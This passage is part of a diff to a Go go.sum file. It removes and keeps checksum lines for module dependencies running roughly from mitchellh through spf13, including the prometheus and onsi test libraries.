h1:8FL3F6UQRXHXIBSPUs5h0RybMF8i4n7wVopoX3x7Bv8= -github.com/microcosm-cc/bluemonday v1.0.25/go.mod h1:ZIOjCQp1OrzBBPIJmfX4qDYFuhU02nx4bn030ixfHLE= -github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= -github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= -github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= -github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= -github.com/minio/highwayhash v1.0.2/go.mod h1:BQskDq+xkJ12lmlUUi7U0M5Swg3EWR+dLTk+kldvVxY= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= -github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= -github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -1356,20 +361,9 @@ github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRW github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 h1:28i1IjGcx8AofiB4N3q5Yls55VEaitzuEPkFJEVgGkA= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= -github.com/nats-io/jwt/v2 v2.3.0/go.mod h1:0tqz9Hlu6bCBFLWAASKhE5vUA4c24L9KPUUgvwumE/k= -github.com/nats-io/jwt/v2 v2.4.1/go.mod h1:24BeQtRwxRV8ruvC4CojXlx/WQ/VjuwlYiH+vu/+ibI= -github.com/nats-io/nats-server/v2 v2.9.11/go.mod h1:b0oVuxSlkvS3ZjMkncFeACGyZohbO4XhSqW1Lt7iRRY= -github.com/nats-io/nats.go v1.19.0/go.mod h1:tLqubohF7t4z3du1QDPYJIQQyhb4wl6DhjxEajSI7UA= -github.com/nats-io/nats.go v1.28.0/go.mod h1:XpbWUlOElGwTYbMR7imivs7jJj9GtK7ypv321Wp6pjc= -github.com/nats-io/nkeys v0.3.0/go.mod h1:gvUNGjVcM2IPr5rCsRsC6Wb3Hr2CQAm08dsxtV6A5y4= -github.com/nats-io/nkeys v0.4.4/go.mod h1:XUkxdLPTufzlihbamfzQ7mw/VGx6ObUs+0bN5sNvt64= -github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= -github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= -github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= -github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oapi-codegen/runtime v1.0.0 h1:P4rqFX5fMFWqRzY9M/3YF9+aPSPPB06IzP2P7oOxrWo= @@ -1377,66 +371,21 @@ github.com/oapi-codegen/runtime v1.0.0/go.mod h1:LmCUMQuPB4M/nLXilQXhHw+BLZdDb18 github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= -github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= -github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= -github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= -github.com/onsi/ginkgo/v2 v2.1.3/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= -github.com/onsi/ginkgo/v2 v2.1.4/go.mod h1:um6tUpWM/cxCK3/FK8BXqEiUMUwRgSM4JXG47RKZmLU= -github.com/onsi/ginkgo/v2 v2.1.6/go.mod h1:MEH45j8TBi6u9BMogfbp0stKC5cdGjumZj5Y7AG4VIk= -github.com/onsi/ginkgo/v2 v2.3.0/go.mod h1:Eew0uilEqZmIEZr8JrvYlvOM7Rr6xzTmMV8AyFNU9d0= -github.com/onsi/ginkgo/v2 v2.4.0/go.mod h1:iHkDK1fKGcBoEHT5W7YBq4RFWaQulw+caOMkAt4OrFo= -github.com/onsi/ginkgo/v2 v2.5.0/go.mod h1:Luc4sArBICYCS8THh8v3i3i5CuSZO+RaQRaJoeNwomw= -github.com/onsi/ginkgo/v2 v2.7.0/go.mod h1:yjiuMwPokqY1XauOgju45q3sJt6VzQ/Fict1LFVcsAo= -github.com/onsi/ginkgo/v2 v2.8.1/go.mod h1:N1/NbDngAFcSLdyZ+/aYTYGSlq9qMCS/cNKGJjy+csc= -github.com/onsi/ginkgo/v2 v2.9.0/go.mod h1:4xkjoL/tZv4SMWeww56BU5kAt19mVB47gTWxmrTcxyk= -github.com/onsi/ginkgo/v2 v2.9.1/go.mod h1:FEcmzVcCHl+4o9bQZVab+4dC9+j+91t2FHSzmGAPfuo= -github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= -github.com/onsi/ginkgo/v2 v2.9.5/go.mod h1:tvAoo1QUJwNEU2ITftXTpR7R1RbCzoZUOs3RonqW57k= -github.com/onsi/ginkgo/v2 v2.9.7/go.mod h1:cxrmXWykAwTwhQsJOPfdIDiJ+l2RYq7U8hFU+M/1uw0= -github.com/onsi/ginkgo/v2 v2.11.0/go.mod h1:ZhrRA5XmEE3x3rhlzamx/JJvujdZoJ2uvgI7kR0iZvM= -github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= -github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= -github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= -github.com/onsi/gomega v1.19.0/go.mod h1:LY+I3pBVzYsTBU1AnDwOSxaYi9WoWiqgwooUqq9yPro= -github.com/onsi/gomega v1.20.1/go.mod h1:DtrZpjmvpn2mPm4YWQa0/ALMDj9v4YxLgojwPeREyVo= -github.com/onsi/gomega v1.21.1/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc= -github.com/onsi/gomega v1.22.1/go.mod h1:x6n7VNe4hw0vkyYUM4mjIXx3JbLiPaBPNgB7PRQ1tuM= -github.com/onsi/gomega v1.24.0/go.mod h1:Z/NWtiqwBrwUt4/2loMmHL63EDLnYHmVbuBpDr2vQAg= -github.com/onsi/gomega v1.24.1/go.mod h1:3AOiACssS3/MajrniINInwbfOOtfZvplPzuRSmvt1jM= -github.com/onsi/gomega v1.26.0/go.mod h1:r+zV744Re+DiYCIPRlYOTxn0YkOLcAnW8k1xXdMPGhM= -github.com/onsi/gomega v1.27.1/go.mod h1:aHX5xOykVYzWOV4WqQy0sy8BQptgukenXpCXfadcIAw= -github.com/onsi/gomega v1.27.3/go.mod h1:5vG284IBtfDAmDyrK+eGyZmUgUlmi+Wngqo557cZ6Gw= -github.com/onsi/gomega v1.27.4/go.mod h1:riYq/GJKh8hhoM01HN6Vmuy93AarCXCBGpvFDK3q3fQ= -github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= -github.com/onsi/gomega v1.27.7/go.mod h1:1p8OOlwo2iUUDsHnOrjE5UKYJ+e3W8eQ3qSlRahPmr4= -github.com/onsi/gomega v1.27.8/go.mod h1:2J8vzI/s+2shY9XHRApDkdgPo1TKT7P2u6fXeJKFnNQ= -github.com/onsi/gomega v1.27.10/go.mod h1:RsS8tutOdbdgzbPtzzATp12yT7kM5I5aElG3evPbQ0M= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= -github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= -github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= -github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0= github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= -github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= -github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= -github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= -github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= -github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -1445,17 +394,11 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= -github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= -github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= -github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= -github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -1463,12 +406,9 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= -github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= -github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -1476,7 +416,6 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= -github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= @@ -1487,16 +426,12 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= -github.com/redis/go-redis/v9 v9.1.0/go.mod h1:urWj3He21Dj5k4TK1y59xH8Uj6ATueP8AH1cY3lZl4c= -github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= -github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= @@ -1504,26 +439,12 @@ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= -github.com/russross/blackfriday v1.5.2 h1:HyvC0ARfnZBqnXwABFeSZHpKvJHJJfPz81GNueLj0oo= -github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= -github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= -github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= -github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= -github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= -github.com/schollz/closestmatch v2.1.0+incompatible/go.mod h1:RtP1ddjLong6gTkbtmuhtR2uUrrJOpYzYRvbcPAid+g= github.com/schollz/progressbar/v2 v2.15.0 h1:dVzHQ8fHRmtPjD3K10jT3Qgn/+H+92jhPrhmxIJfDz8= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= -github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= -github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= -github.com/shirou/gopsutil/v3 v3.23.7/go.mod h1:c4gnmoRC0hQuaLqvxnx1//VXQ0Ms/X9UnJF8pddY5z4= -github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= -github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0 h1:abSATXmQEYyShuxI4/vyW3tV1MrKAJzCZ/0zLUXYbsQ= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= @@ -1532,21 +453,17 @@ github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPx github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= -github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72 h1:qLC7fQah7D6K1B0ujays3HV9gkFtllcxhzImRR7ArPQ= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= -github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0bLI= -github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spf13/afero v1.5.1 h1:VHu76Lk0LSP1x254maIu2bplkWpfBWI+B+6fdoZprcg= github.com/spf13/afero v1.5.1/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= github.com/spf13/cast v1.3.0/go.mod 